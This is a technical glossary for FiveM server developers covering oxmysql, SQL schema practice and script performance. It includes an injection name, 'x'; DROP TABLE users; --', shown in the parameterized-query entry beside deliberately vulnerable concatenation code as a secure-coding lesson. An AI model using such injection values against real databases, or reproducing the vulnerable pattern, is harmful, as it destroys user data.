- Exposing port 3306 to the internet with the root user and no strong password. It is the fastest route to your economy being wiped.
Relacionado oxmysql, connection string, database index- oxmysqlESXQBCoreQboxoxStandalone
The standard MySQL/MariaDB connector in FiveM. It is the resource that lets your server scripts save and read data asynchronously, with parameters, and without blocking the game thread.
oxmysql is installed like any other resource inside resources/ and it has to start BEFORE any resource that touches the database. If your economy resource loads first, the MySQL object does not exist yet and you get a nil on the very first query.
To use its API inside a resource you must import its library in the fxmanifest with server_script '@oxmysql/lib/MySQL.lua'. That at sign in front of the resource name means the file is loaded from another resource. Without that line, the MySQL global does not exist in your script, even if oxmysql is running perfectly.
Everything oxmysql does is server-side. The client never touches SQL, not even by accident, because the client is code running on the player's machine and anyone can rewrite it. The database is only queried and modified from server_scripts, after validating whatever came from the player.
Ejemplo · Import oxmysql in the manifest and use it from the server -- fxmanifest.lua fx_version 'cerulean' game 'gta5' -- Without this line, MySQL is nil inside your resource server_script '@oxmysql/lib/MySQL.lua' server_scripts { 'server.lua' } -- server.lua RegisterNetEvent('my_bank:getBalance', function() local src = source local identifier = GetPlayerIdentifierByType(src, 'license') local balance = MySQL.scalar.await( 'SELECT money FROM users WHERE identifier = ?', { identifier } ) TriggerClientEvent('my_bank:showBalance', src, balance or 0) end)En qué se equivoca todo el mundo
- Forgetting server_script '@oxmysql/lib/MySQL.lua' in the fxmanifest and not understanding why MySQL is nil.
- Putting ensure oxmysql after es_extended or after your resources in server.cfg. Load order matters.
- Trying to call MySQL from a client_script. It does not exist there, and even if it did it would be a security hole.
- mysql-async (deprecated)ESXQBCore
FiveM's old database connector, alongside ghmattimysql. It is no longer maintained and is considered legacy today. The current standard is oxmysql.
For years, mysql-async was the only way to talk to MySQL from FiveM. Its API is built on nested callbacks (MySQL.Async.fetchAll with a response function) and on parameters with an at sign, like @identifier, instead of the question mark. It works, but it is abandoned, it is slower and it carries bugs nobody is going to fix.
The real reason to migrate is not fashion, it is that the whole ecosystem has moved. Modern resources (ox_inventory, ox_target, most new ESX and QBCore scripts) assume oxmysql. Keeping mysql-async leaves you outside and forces you to patch every new resource you install.
Never run mysql-async and oxmysql at the same time. Both define the global MySQL object, so whichever loads last overwrites the other and you end up with half your resources talking to a connector they did not expect. Migrate everything at once and remove the old one from server.cfg.
Ejemplo · The same query in mysql-async and in oxmysql -- BEFORE (mysql-async, deprecated). Parameters with @ and nested callback. MySQL.Async.fetchAll('SELECT * FROM users WHERE identifier = @id', { ['@id'] = identifier }, function(result) print(result[1].name) end) -- NOW (oxmysql) with a callback MySQL.query('SELECT * FROM users WHERE identifier = ?', { identifier }, function(result) print(result[1].name) end) -- NOW (oxmysql) with await, inside a thread. Far more readable. local result = MySQL.query.await('SELECT * FROM users WHERE identifier = ?', { identifier }) print(result[1].name)En qué se equivoca todo el mundo
- Having both connectors in server.cfg. The MySQL global gets overwritten and the bugs are impossible to trace.
- Migrating the syntax but leaving the @name placeholders in the SQL. With oxmysql the slots are ? and go in the same order as the values table.
- Turning MySQL.Sync.fetchAll into a .await outside a thread. The await needs a coroutine to be able to yield.
- connection string
The line in server.cfg that tells oxmysql where your database is and which credentials to use. If it is wrong, oxmysql will not start and everything that depends on the database falls with it.
oxmysql accepts two formats. The URI one, with user, password, host and database name, and the key-value one with pairs separated by semicolons. Both work. Pick one and be consistent. In both cases it is worth ending with charset=utf8mb4 so accents travel correctly.
One detail trips up a lot of people. If your MySQL password has special characters (at sign, hash, slash, colon) the URI format gets confused, because those characters have meaning inside the string. Either URL-encode them (the at sign becomes %40) or use the key-value format, which does not have that problem.
The string is a secret. It goes in a secrets.cfg loaded with exec, and that file goes in the .gitignore. A mysql_connection_string in a public repository is an open invitation to your database, and if port 3306 is exposed, they will take it.
One last bit of ordering that matters. The convar must be set in the cfg before the ensure oxmysql, because oxmysql reads the string on startup. If you define it after, it starts without credentials and fails.
Ejemplo · The two valid formats and the right order in server.cfg # URI format (the most common) set mysql_connection_string "mysql://fivem:my_password@localhost/fivem?charset=utf8mb4" # Key-value format (better if the password has odd characters) set mysql_connection_string "server=localhost;user=fivem;password=my@password;database=fivem;charset=utf8mb4" # The convar ALWAYS before the ensure, and oxmysql before whoever uses it ensure oxmysql ensure es_extended ensure my_resourceEn qué se equivoca todo el mundo
- Password with an at sign or hash unencoded inside the URI format. oxmysql misreads the host and gives a connection error.
- Defining the convar after the ensure oxmysql. The resource starts without credentials.
- Pointing at a database that does not exist yet, or importing the .sql into a different database than the one in the string.
- Committing server.cfg with the credentials to GitHub.
- parameterized query
A SQL query where the values travel separately, in slots marked with ?, instead of being glued to the query text. It is the only real defense against SQL injection and it is not optional.
When you concatenate a player's data inside a SQL string, that data stops being data and becomes code. If a player names themselves something that closes your quote and adds their own statement, your server happily runs it. That is the entire mechanism of SQL injection, and in FiveM it wipes out whole databases every week.
With the question mark, the value is never interpreted as SQL. oxmysql sends the query and the values separately, and the engine always treats them as literal text. It does not matter what the player types, it cannot escape its slot.
Two things you need to know. The question mark is not put inside quotes, because the escaping is already done by the connector (if you write WHERE name = '?' you are breaking it). And the question mark only works for values, never for table or column names. If you need a dynamic column, validate it against a whitelist you wrote yourself, never against whatever arrives from the client.
Ejemplo · Concatenating is injection. The question mark is the right way -- BAD. The name comes from the player and is glued to the SQL. Injection served. -- If the player is named x'; DROP TABLE users; -- you lose the table. local name = dataFromClient.name local bad = MySQL.query.await( "SELECT * FROM users WHERE name = '" .. name .. "'" ) -- GOOD. The value travels as a parameter, never as code. local good = MySQL.query.await( 'SELECT * FROM users WHERE name = ?', { name } ) -- Several slots, in the same order as the values table MySQL.insert.await( 'INSERT INTO vehicles (owner, plate, model) VALUES (?, ?, ?)', { identifier, plate, model } ) -- Partial search. The % goes in the VALUE, not in the SQL. MySQL.query.await('SELECT * FROM users WHERE name LIKE ?', { '%' .. text .. '%' })En qué se equivoca todo el mundo
- Putting the question mark inside quotes, like WHERE name = '?'. It kills the mechanism and breaks the query.
- Escaping by hand with gsub or by stripping quotes. You always miss a case, always.
- Trying to parameterize the table or column name. That cannot be done, it has to be validated against a whitelist.
- Trusting that the data comes from your NUI and not from a player. Any net event can be fired by hand.
- MySQL.query, single, scalar and insert
The oxmysql methods depending on what you expect back. query returns all rows, single returns one row, scalar returns a single value, insert returns the created id and update returns how many rows changed.
Picking the right method is not cosmetic, it changes what you get. MySQL.query always returns a table of rows, even an empty one if there are no results. MySQL.single returns the first row directly (or nil), so you skip the result[1]. MySQL.scalar returns the first value of the first row, ideal when you only want the balance or a counter.
For writing, MySQL.insert returns the auto-generated id of the new row, which is exactly what you need to store the reference of the vehicle or item you just created. MySQL.update returns the number of affected rows, and that number is your proof that the operation actually did something. If a money UPDATE returns 0 rows, do not deduct anything in the game.
The most silent bug of all lives here. In Lua, an empty table is truthy. If you do a MySQL.query and check if result then to see whether there are results, that condition is ALWAYS true, even when there is not a single row. You have to check the size with #result > 0, or use single, which does return nil when it finds nothing.
Ejemplo · Each method returns something different. Picking wrong is the source of half the nils -- query: ALL rows. Returns {} if there are none. local cars = MySQL.query.await('SELECT plate, model FROM vehicles WHERE owner = ?', { identifier }) if #cars == 0 then return end -- if cars then is ALWAYS true. Careful. for _, c in ipairs(cars) do print(c.plate, c.model) end -- single: ONE row, or nil local user = MySQL.single.await('SELECT name, money FROM users WHERE identifier = ?', { identifier }) if not user then return end print(user.name, user.money) -- scalar: ONE loose value local balance = MySQL.scalar.await('SELECT money FROM users WHERE identifier = ?', { identifier }) -- insert: returns the created id local id = MySQL.insert.await( 'INSERT INTO vehicles (owner, plate, model) VALUES (?, ?, ?)', { identifier, 'CRX 4321', 'adder' } ) -- update: returns affected rows. If it is 0, nobody was charged. local rows = MySQL.update.await( 'UPDATE users SET money = money - ? WHERE identifier = ? AND money >= ?', { price, identifier, price } ) if rows == 0 then return notify(src, 'Insufficient funds') endEn qué se equivoca todo el mundo
- Using if result then with MySQL.query. An empty table is truthy in Lua, so the check checks nothing.
- Using query when you only expect one row and then forgetting the result[1], with the guaranteed nil behind it.
- Ignoring the value update returns. If you do not check affected rows, you can hand over the car without having charged.
Relacionado oxmysql, await vs callback in oxmysql, parameterized query- await vs callback in oxmysql
The two ways to wait for a database response. With .await the code runs top to bottom and pauses only the current thread. With a callback, the response arrives inside a nested function.
The classic fear is thinking .await blocks the server. It does not. Lua in FiveM uses coroutines, so .await pauses only the thread that made the call, and the rest of the server keeps serving everyone while the database responds. What it does save you is the pyramid of nested callbacks that makes any flow with three queries in a row unreadable.
To be able to pause you need to be inside a coroutine. That means inside a CreateThread, an event handler, a command or a callback. If you put a loose .await at the root of the script, on the first line of the file, it blows up with a yield-outside-coroutine error. That is the only case where you have to use a callback or wrap it in CreateThread.
The other point that counts is performance. A .await inside a for loop over 200 players is 200 trips to the database, one after another. It does not freeze the server, but the operation takes forever. When you have to read or write many rows, group them with a WHERE ... IN (?) or use MySQL.transaction, which sends everything at once.
Ejemplo · Where a .await can live and how not to chain hundreds of them -- BAD. .await at the root of the script, outside any coroutine. local users = MySQL.query.await('SELECT * FROM users') -- yield error -- GOOD. Inside a thread. CreateThread(function() local users = MySQL.query.await('SELECT * FROM users') print('Users loaded', #users) end) -- GOOD. Inside an event (already a coroutine). RegisterNetEvent('bank:withdraw', function(amount) local src = source local balance = MySQL.scalar.await('SELECT money FROM users WHERE identifier = ?', { idOf(src) }) -- ... end) -- BAD. N queries inside a loop. for _, id in ipairs(ids) do local row = MySQL.single.await('SELECT money FROM users WHERE id = ?', { id }) end -- GOOD. A single query for all of them. local rows = MySQL.query.await('SELECT id, money FROM users WHERE id IN (?)', { ids })En qué se equivoca todo el mundo
- Calling .await at the root of the script and seeing a yield error nobody understands. Wrap it in CreateThread.
- Believing .await freezes the whole server and filling the code with nested callbacks out of fear.
- Chaining .await inside a big loop. It does not block, but it multiplies the trips to the database.
- database index
A structure that lets MySQL find rows without reading the whole table. It is the cheapest, highest-impact optimization you will make on your server.
Without an index, MySQL does a full table scan. It reads every row of the whole table to find the matching ones. With 50 vehicles you will not notice. With 200,000, every garage query takes hundreds of milliseconds and the server thread waits. An index works like the alphabetical index of a book, it goes straight to the page instead of reading it whole.
The rule is simple. Index the columns you filter by (the WHERE) and the ones you join tables on (the ON of a JOIN). In a roleplay server that almost always means identifier, citizenid and owner. A composite index over several columns serves its prefix, so an index (owner, stored) helps WHERE owner = ? AND stored = ? and also WHERE owner = ? alone, but not WHERE stored = ? alone.
Indexes are not free. Each one takes space and makes INSERTs and UPDATEs a little slower, because it has to be maintained. Index what you actually filter by, not every column just in case. And to know whether your query is using it, do not guess. Put EXPLAIN in front and look at the type column. If it says ALL, it is a full scan and an index is missing.
Ejemplo · Composite index and how to check with EXPLAIN that it is used -- The garage query filters by owner and by whether it is stored CREATE INDEX idx_owner_stored ON vehicles (owner, stored); -- Is it being used? EXPLAIN tells you without actually running the query. EXPLAIN SELECT plate FROM vehicles WHERE owner = 'license:abc' AND stored = 1; -- type = ALL -> full scan, index missing (bad) -- type = ref -> using the index (good) -- key -> which index it chose -- rows -> how many rows it estimates reading. Fewer is better. -- The identifier must be unique, and UNIQUE also indexes ALTER TABLE users ADD UNIQUE KEY uniq_identifier (identifier);En qué se equivoca todo el mundo
- Not indexing identifier or owner. It is the number-one reason a server with many players crawls at login.
- Indexing every column just in case. Each index penalizes writes and takes disk.
- Putting the composite index in the wrong order. The prefix rules, and an index (stored, owner) does not help filtering by owner alone.
Relacionado SQL migration, parameterized query, ms per resource- SQL migration
A numbered .sql file that applies a change to the database schema (a new table, a new column). Keeping them in Git is what lets you rebuild the database from scratch and know what changed and when.
Your schema evolves. Today you add a level column, tomorrow a factions table. If you make those changes by hand in phpMyAdmin and write them down nowhere, your test server's database and production drift apart little by little, until a resource works in one and blows up in the other with no explanation.
The format is boring on purpose. Numbered files (0001_init.sql, 0002_add_vehicles.sql, 0003_add_level.sql) applied in order. Idempotent, with CREATE TABLE IF NOT EXISTS and ADD COLUMN IF NOT EXISTS, so re-running them does not break anything. And immutable, meaning a migration already applied in production is never edited, you create a new one on top.
Before touching production, backup. Always. A mysqldump takes thirty seconds and is the only thing between you and losing the server's entire economy when a DROP COLUMN takes out something it should not have. Destructive changes do not come back.
Ejemplo · Additive migration, idempotent and with a prior backup -- 0003_add_level.sql -- Additive and with IF NOT EXISTS, so it can be re-run without fear. ALTER TABLE users ADD COLUMN IF NOT EXISTS level INT NOT NULL DEFAULT 1; CREATE TABLE IF NOT EXISTS factions ( id INT NOT NULL AUTO_INCREMENT, name VARCHAR(60) NOT NULL, owner VARCHAR(60) NOT NULL, created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, PRIMARY KEY (id), UNIQUE KEY uniq_name (name), INDEX idx_owner (owner) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- Before applying this in production, in the terminal: -- mysqldump -u fivem -p fivem > backup_2026_07_12.sqlEn qué se equivoca todo el mundo
- Editing a migration already applied in production. The history is immutable, create a new one.
- Running a DROP COLUMN or a DROP TABLE with no backup. The data does not come back.
- Changing the schema by hand in phpMyAdmin and leaving no trace. In two weeks nobody knows why production has a column the repository does not.
Relacionado database index, HeidiSQL and phpMyAdmin, users / players table- HeidiSQL and phpMyAdmin
The graphical clients you use to look at and touch the database by hand. HeidiSQL is a Windows application, phpMyAdmin is a web tool (it ships with XAMPP and with most hosting panels).
They serve the same purpose. Viewing tables, running the .sql a resource brings when you install it, checking why a player's inventory will not load, and exporting a backup before a migration. HeidiSQL tends to be more comfortable on Windows, phpMyAdmin wins when the database is on a VPS and all you have is a browser. DBeaver and TablePlus do the same and are cross-platform.
With phpMyAdmin there is a real risk many people ignore. If you leave it reachable from the internet with no extra protection, anyone can try to brute-force your database. Either lock it behind a VPN or an allowed IP, or uninstall it from the production server and use an SSH tunnel.
And the mistake that does the most damage, by far. Editing by hand the row of a player who is connected. The server has that player's data in memory and, when they disconnect, it will dump it over what you just wrote. Your change disappears and you do not understand why. If you touch a player by hand, make sure they are offline.
Ejemplo · What the import and export buttons do, under the hood # Full backup before touching anything (this is what the "Export" button does) mysqldump -u fivem -p fivem > backup_2026_07_12.sql # Restore that backup into the database mysql -u fivem -p fivem < backup_2026_07_12.sql # Import the .sql a resource brings on install mysql -u fivem -p fivem < resources/ox_inventory/setup/inventory.sqlEn qué se equivoca todo el mundo
- Editing a connected player's row. On disconnect, the server overwrites your change with what it had in memory.
- Leaving phpMyAdmin exposed to the internet with weak credentials.
- Importing a resource's .sql into the wrong database and then not understanding why the resource cannot find its tables.
Relacionado SQL migration, connection string, MySQL and MariaDB- users / players tableESXQBCoreQbox
The central table of any roleplay server. In ESX it is called users and the key is the identifier. In QBCore and Qbox it is called players and the key is the citizenid. Everything else hangs off it.
That table stores the player's economic identity. In ESX, the users row has the identifier, the name, the job, the grade and the accounts (money, bank, dirty money) usually in a JSON column. In QBCore, the players row has the citizenid, the license, and JSON columns for charinfo, money, job, gang and metadata.
The key column (identifier or citizenid) is what the rest of the server uses to relate everything. Vehicles have an owner that points to it, the inventory has an owner that points to it, properties too. That is why it must be UNIQUE and indexed. And that is why deleting a row by hand leaves orphans across half the database, cars with no owner nobody can pull out of the garage.
About the identifier itself, a warning. In FiveM a player has several identifiers (license, steam, discord, fivem) and not all of them always exist. If the player does not have Steam open, there is no Steam identifier. That is why the standard today is license, which always exists because Cfx.re issues it. Building your server on the Steam identifier is guaranteeing yourself support tickets every day.
Ejemplo · The central table of ESX and of QBCore, and their keys -- ESX (simplified). The key is identifier. CREATE TABLE IF NOT EXISTS users ( identifier VARCHAR(60) NOT NULL, accounts LONGTEXT, -- JSON: money, bank, black_money job VARCHAR(20) DEFAULT 'unemployed', job_grade INT DEFAULT 0, inventory LONGTEXT, -- JSON PRIMARY KEY (identifier) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; -- QBCore (simplified). The business key is citizenid. CREATE TABLE IF NOT EXISTS players ( id INT NOT NULL AUTO_INCREMENT, citizenid VARCHAR(50) NOT NULL, license VARCHAR(60) NOT NULL, charinfo LONGTEXT, -- JSON money LONGTEXT, -- JSON job LONGTEXT, -- JSON metadata LONGTEXT, -- JSON PRIMARY KEY (id), UNIQUE KEY uniq_citizenid (citizenid), INDEX idx_license (license) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;En qué se equivoca todo el mundo
- Using the Steam identifier as the key. If the player joins without Steam, it does not exist and the login fails.
- Deleting rows from users by hand without cleaning vehicles, properties or inventory. You leave untraceable orphans.
- Not putting UNIQUE on identifier or citizenid. A duplicate there duplicates the player's money.
Relacionado JSON in columns, database index, parameterized query- JSON in columnsESXQBCoreQboxox
The habit of storing whole structures (inventory, accounts, metadata) encoded as JSON text inside a single column. It is convenient for reading and writing in one go, and a disaster if you need to search inside it.
ESX stores accounts and inventory as JSON in users. QBCore stores charinfo, money, job and metadata as JSON in players. It works because the natural flow is to load the whole block when the player joins, work with it in memory and dump it back whole when they leave. One read, one write, zero complications.
The problem shows up when you want to ask the database something about what is inside the JSON. For example, every player who has a specific item. A LIKE with wildcards over a text blob does not use an index, reads the whole table and gives false positives on top. If you are going to search, filter or sort by a piece of data, it is not JSON, it is its own column or its own table. That is why ox_inventory moves inventories into its own structure instead of leaving them inside users.
And there is a practical limit people discover late. That JSON is read whole on every login and written whole on every save. An inventory that grows without control, with thousands of entries, turns login into a heavy operation and the autosave into a write storm. Cap the size of what you store.
Ejemplo · The decode / encode cycle and why you do not search inside the JSON -- Read, decode, touch and save back. The normal cycle. local row = MySQL.single.await('SELECT accounts FROM users WHERE identifier = ?', { identifier }) if not row then return end local accounts = json.decode(row.accounts) or {} accounts.bank = (accounts.bank or 0) + 500 MySQL.update.await( 'UPDATE users SET accounts = ? WHERE identifier = ?', { json.encode(accounts), identifier } ) -- BAD. Searching inside the JSON with LIKE. Reads the whole table and gives false positives. MySQL.query.await("SELECT identifier FROM users WHERE inventory LIKE '%water%'") -- GOOD. If you are going to search it, make it its own table, with an index. -- CREATE TABLE player_items (owner VARCHAR(60), item VARCHAR(50), count INT, -- INDEX idx_owner (owner), INDEX idx_item (item)); MySQL.query.await('SELECT owner FROM player_items WHERE item = ?', { 'water' })En qué se equivoca todo el mundo
- Filtering with LIKE inside a JSON. No index, the whole table read, and false positives for free.
- Forgetting the json.decode and treating the column as if it were already a Lua table. The nil arrives on the next line.
- Letting the JSON grow without limit. Every login reads that whole block and every save rewrites it.
Relacionado users / players table, database index, oxmysql
Rendimiento
Por qué va a tirones y cómo medirlo.
- hitch
A momentary freeze of the server or the client, tens or hundreds of milliseconds, in which everything stalls. It is what players call stutters, and the engine warns about it in the console with a hitch warning.
A hitch is not network lag. The ping can be perfect and cars still teleport and animations still skip. What happened is that a frame took far longer than it should, because some script started doing heavy work and did not release the thread until it finished.
In FiveM Lua code is cooperative. Nobody interrupts anybody. When your loop starts computing, the engine politely waits for you to finish. If you take 200 ms, the whole server was stalled for 200 ms for every player at once. That is why a single badly written resource can drag down the experience of sixty people.
The cause is almost always one of three. A loop with no Wait that never yields. An expensive operation run every frame (drawing, iterating every entity, decoding a huge JSON). Or a database query made inside a loop, multiplied by the number of players. Blaming the VPS or the ping before looking at the resmon is wasting your afternoon.
Ejemplo · The engine's warnings. The resource name already tells you where to look # What you see in the server console when something blocks the thread hitch warning: frame time of 187 milliseconds hitch warning: frame time of 240 milliseconds # And the warning that names the culprit outright [script:my_resource] Warning: Resource my_resource is taking too long to execute Warning: Script my_resource took too long to execute (150ms) # First step, always the same: open F8 on the client and see who is spending resmon 1En qué se equivoca todo el mundo
- Blaming the stutters on the hosting or the players' ping without having opened resmon once.
- Ignoring the small hitch warnings. They add up, and with sixty players every one shows.
- Restarting the server every hour as a patch instead of finding the loop that causes it.
- script took too long
The warning the engine throws when a resource exceeds the time it is allowed for its tick. It is the most useful message in FiveM, because it names the culprit.
The engine gives each resource a time window to do its thing on each tick. If your script eats the whole window and keeps working, the engine warns. It is not an error that breaks anything right away, it is a warning that the resource is stealing time from the rest of the server.
The number-one cause, by a wide margin, is a while true do with no Wait inside. Without the Wait, the loop never yields control and the engine cannot continue. The number-two cause is an expensive operation inside a fast loop, the kind that iterates every player, decodes a big JSON or fires a database query on every iteration.
The good thing about this warning is that there is no guessing. The message carries the resource name. Open that resource, look for while and CreateThread, and check that every loop has its Wait and that the heavy work is gated behind actually needing it.
Ejemplo · The loop that triggers the warning, and the two ways to fix it -- BAD. With no Wait, the loop never yields. Guaranteed hitch. CreateThread(function() while true do local pos = GetEntityCoords(PlayerPedId()) checkZones(pos) end end) -- LESS BAD. Yields every frame, but still works 60 times a second. CreateThread(function() while true do Wait(0) local pos = GetEntityCoords(PlayerPedId()) checkZones(pos) end end) -- GOOD. Yields properly and only works when needed. CreateThread(function() while true do local pos = GetEntityCoords(PlayerPedId()) local sleep = 1000 if isNearAnyZone(pos) then sleep = 0 checkZones(pos) end Wait(sleep) end end)En qué se equivoca todo el mundo
- Putting the Wait inside an if, so there are branches of the loop that never yield.
- Putting the Wait after a return or a break, so in practice it never runs.
- Silencing or ignoring the warning because it is only a warning. It is exactly the clue you need.
- resmon
FiveM's built-in resource monitor. It opens from the client console (F8) and shows in real time how much CPU and memory each resource consumes. It is the number-one tool for finding the culprit of lag.
The command is resmon, and resmon 1 also shows the detail. The column that matters is milliseconds per frame, not the memory one. A resource can take up 40 MB of RAM and bother nobody, while another one of 2 MB that runs every frame is eating your server all by itself.
The most revealing figure is not the peak, it is the idle consumption. A well-written resource spends almost 0 ms when nothing is happening. If your shops script reads 0.80 ms and there is nobody in any shop, that script is running in a loop for no reason. That number, measured with the server quiet, is the one that tells you who to fix.
And the golden rule, measure before and after. Note the resource's ms, apply a change, look again. If the number did not drop, the bottleneck was somewhere else and you just wasted time optimizing the wrong thing. For the server side, on top of the client resmon, you have the built-in profiler, which records a few ticks and lets you inspect them in detail.
Ejemplo · The monitor commands and what each color means # On the client, console with F8 resmon # resource monitor resmon 1 # detailed mode # Columns # CPU msec -> milliseconds per frame. THE important one. # Time (%) -> percentage of the frame it takes # Memory -> RAM. Interesting, but not what causes stutters. # Colors # green < 0.50 ms plenty of room # yellow ~1.00 ms keep an eye on it # red > 1.00 ms needs optimizing # On the server, built-in profiler profiler record 500 profiler save profile.jsonEn qué se equivoca todo el mundo
- Looking at the memory column and not the milliseconds one. RAM does not cause stutters, CPU time does.
- Measuring only with the server full of action. The waste shows at idle, when a resource spends without anyone using it.
- Optimizing by eye with no before note. Without a prior number you do not know if your change helped at all.
- ms per resource
The CPU milliseconds a resource consumes each frame. It is the metric that truly matters in FiveM, far above the resource's size or its RAM usage.
The budget is limited and you do not set it. At 60 fps there are a little over 16 ms to draw each frame, and most of it goes to GTA V itself. What is left is what all your resources share. When the sum goes over, the frame cannot finish in time and the FPS drop.
The trap is in the sum. A resource at 0.30 ms looks harmless, and it is. But forty resources at 0.30 ms are 12 ms, and there you have eaten the whole budget by yourself. That is why the goal is not that none is red, it is that most are near zero when they are not being used.
The practical thresholds are these. Below 0.50 ms, fine. Around 1.00 ms, watch it. Above 1.00 ms at idle, that resource has a badly written loop and you have to open it. And a warning, the ms depend on the client's hardware, so do not compare numbers measured on your PC with those of a player on a weak machine. Always compare the same resource with itself, before and after your change.
Ejemplo · What resmon says at idle. The two at the top are the suspects # A typical resmon reading, with the server at idle (nobody using anything) RESOURCE CPU msec MEM es_extended 0.02 8.1 MB oxmysql 0.00 4.3 MB ox_lib 0.01 2.0 MB my_shop 0.94 1.1 MB <- red at IDLE. Ungated loop. my_hud 0.61 3.2 MB <- draws every frame even when nothing changes ox_target 0.03 1.8 MB # my_shop spends nearly 1 ms without anyone being in a shop. # That is the resource to open first.En qué se equivoca todo el mundo
- Accepting 0.80 ms at idle because it is only one resource. It is forty resources and the sum is what drops your FPS.
- Judging performance by the resource's size on disk. It has nothing to do with it.
- Comparing your PC's ms with a player's on different hardware. Compare each resource with itself.
- loop with no Wait (the #1 mistake)
A while true do that does not yield control to the engine, or that yields every frame to do expensive work that is almost never needed. It is the cause of 90% of servers that stutter.
You have to separate two cases, because they are not equally bad. A loop with NO Wait at all freezes the whole thread. Lua in FiveM is cooperative, so if you do not release, nobody takes your turn. The engine waits and the server stalls for everyone. That is the immediate disaster, and it is the one that fires the script took too long warning.
The second case is more treacherous, because the server does not crash, it just runs badly all the time. A loop with Wait(0) does yield, but it runs every frame, sixty or more times a second. If inside it you draw a marker, compute distances to thirty points and read the keyboard, you are paying for all of that every frame, wherever you are, even if the shop is two kilometers away. That is what puts the resmon red at idle.
The fix is always the same technique and it is called dynamic Wait. By default the loop sleeps a long time (500 or 1000 ms) and only computes one distance. If the player is near the point of interest, it drops the Wait to 0 and does the expensive work. The behavior for the player is identical and the same script goes from 1.20 ms to 0.01 ms without touching a single line of game logic.
Inside the loop, also cache. PlayerPedId() and GetEntityCoords() are not free. Calling them once per iteration is fine, calling them five times per iteration at Wait(0) is throwing CPU in the bin. Store the result in a local variable and reuse it.
Ejemplo · The loop that melts the FPS and the same loop with dynamic Wait local shop = vector3(25.7, -1345.0, 29.5) -- BAD. Draws and checks keys 60+ times a second, wherever you are. -- This goes RED in resmon and never turns off. CreateThread(function() while true do Wait(0) local pos = GetEntityCoords(PlayerPedId()) DrawMarker(1, shop.x, shop.y, shop.z - 1.0, 0,0,0, 0,0,0, 1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false) if #(pos - shop) < 1.5 and IsControlJustPressed(0, 38) then openShop() end end end) -- GOOD. Same behavior, nearly 0 ms at idle. CreateThread(function() while true do local sleep = 1000 -- by default, sleep 1 second local ped = PlayerPedId() -- cached, a single call local pos = GetEntityCoords(ped) local dist = #(pos - shop) if dist < 20.0 then sleep = 0 -- near: we respond every frame DrawMarker(1, shop.x, shop.y, shop.z - 1.0, 0,0,0, 0,0,0, 1.0,1.0,1.0, 0,150,255,100, false,false,2,nil,nil,false) if dist < 1.5 and IsControlJustPressed(0, 38) then openShop() end end Wait(sleep) end end)En qué se equivoca todo el mundo
- Putting the Wait inside an if. If the condition is not met, the loop does not yield and freezes the thread.
- Calling PlayerPedId() four or five times in the same iteration instead of storing it in a variable.
- Drawing markers or 3D text without checking distance first. It is the most common spend and the easiest to remove.
- Polling by hand when ox_target, PolyZone or statebags already do that work optimized.
- Wait(0) vs Wait(500)
The number you pass to Wait decides how many times a second your loop runs. Wait(0) means the next frame, sixty or more times a second. Wait(500) means twice a second.
The right question is not which is better, it is what needs to refresh every frame. Only three things truly do. Drawing (markers, 3D text, scaleforms), because if they are not drawn every frame they flicker. Reading key presses with IsControlJustPressed. And the animations or computations the player perceives as continuous. Everything else, absolutely everything else, tolerates 250, 500 or 1000 ms without anyone noticing.
Checking whether the player entered a zone does not need 60 checks a second. On foot you walk about 2 meters a second, so a check every half second is plenty. A HUD that shows money does not need to redraw the same number sixty times a second, it needs to update when the money changes.
On the server the scale changes. There are no frames to draw there, so a Wait(0) in a server loop almost never makes sense. Server loops are for periodic tasks (autosave, payroll, cleaning abandoned vehicles) and their Waits are measured in seconds or minutes, not milliseconds. An autosave every five seconds that fires one query per player is an elegant way to kill your database.
Ejemplo · Client with dynamic Wait and server with long Waits -- Client. Dynamic Wait: sleeps by default, wakes up only when needed. CreateThread(function() while true do local sleep = 500 -- checking the zone twice a second is enough local pos = GetEntityCoords(PlayerPedId()) if #(pos - zone) < 30.0 then sleep = 0 -- only here we need every frame (we draw) DrawText3D(zone, 'Press E') if IsControlJustPressed(0, 38) then interact() end end Wait(sleep) end end) -- Server. Waits are measured in minutes, not milliseconds. CreateThread(function() while true do Wait(10 * 60 * 1000) -- autosave every 10 minutes saveAllPlayers() -- and in ONE transaction, not one query per player end end)En qué se equivoca todo el mundo
- Putting Wait(0) by default just in case. It is the most expensive setting there is and it is almost never necessary.
- Believing Wait(1) is lighter than Wait(0). The difference is negligible, the loop keeps running constantly.
- Autosave every few seconds with one query per player. Sixty players are sixty queries each time.
- OneSync Infinity
FiveM's modern synchronization system. It gives world authority (entities, positions, vehicles) to the server instead of each client, lets you go past 32 players and only sends each player what is nearby.
It is enabled with set onesync on in server.cfg and it is the base almost everything modern rests on. Without OneSync you cannot go past 32 players, you cannot create entities from the server reliably and you have no entity lockdown. Any new server has it enabled from minute one. To go beyond a certain slot count, Cfx.re also requires an Element Club subscription.
What is interesting about Infinity is not just the player count, it is how it handles the world. Instead of syncing everything with everyone, it keeps the concept of scope. Each player is only sent the entities that are relatively close. That is what makes it viable to have hundreds of players spread across the map without the network exploding.
Now, an important warning. Enabling OneSync does not fix lag. OneSync changes how the world is synced, it does not make your Wait(0) loops stop eating CPU. If your server stutters with twenty players, the problem is your scripts, and enabling OneSync will just let you have more people suffering at once.
Ejemplo · Enabling OneSync and what it unlocks # Modern synchronization, with authority on the server set onesync on # More than 32 players does NOT work without OneSync enabled sv_maxclients 64 # Does not expose the IPs of connected players sv_endpointprivacy true # With OneSync you can create entities from the server and everyone sees them the same. # In server.lua: # local veh = CreateVehicle(GetHashKey('adder'), coords, heading, true, true)En qué se equivoca todo el mundo
- Setting sv_maxclients above 32 without enabling OneSync. The extra slots simply do not work.
- Believing OneSync is a performance patch. It is not, it does not touch your scripts.
- Trying to create entities from the server with OneSync off and not understanding why some players see them and others do not.
Relacionado entity lockdown, culling and scope, hitch- entity lockdown
A OneSync mode that stops clients from creating entities (vehicles, objects, peds) on their own. It is configured with sv_entityLockdown and is one of the best defenses against cheaters' spawners.
By default, any client can ask the server to create an entity, because that is how GTA V worked originally. That means a cheater with a menu can flood your city with tanks or objects, and the server accepts them without complaint. Entity lockdown cuts that path.
It has three modes. inactive is the default behavior, no restriction. strict blocks all entity creation by the client, so everything that exists in the world must have been created from the server. relaxed is the middle ground. It requires OneSync enabled, and it can also be applied per routing bucket, so an isolated world has different rules from the main one.
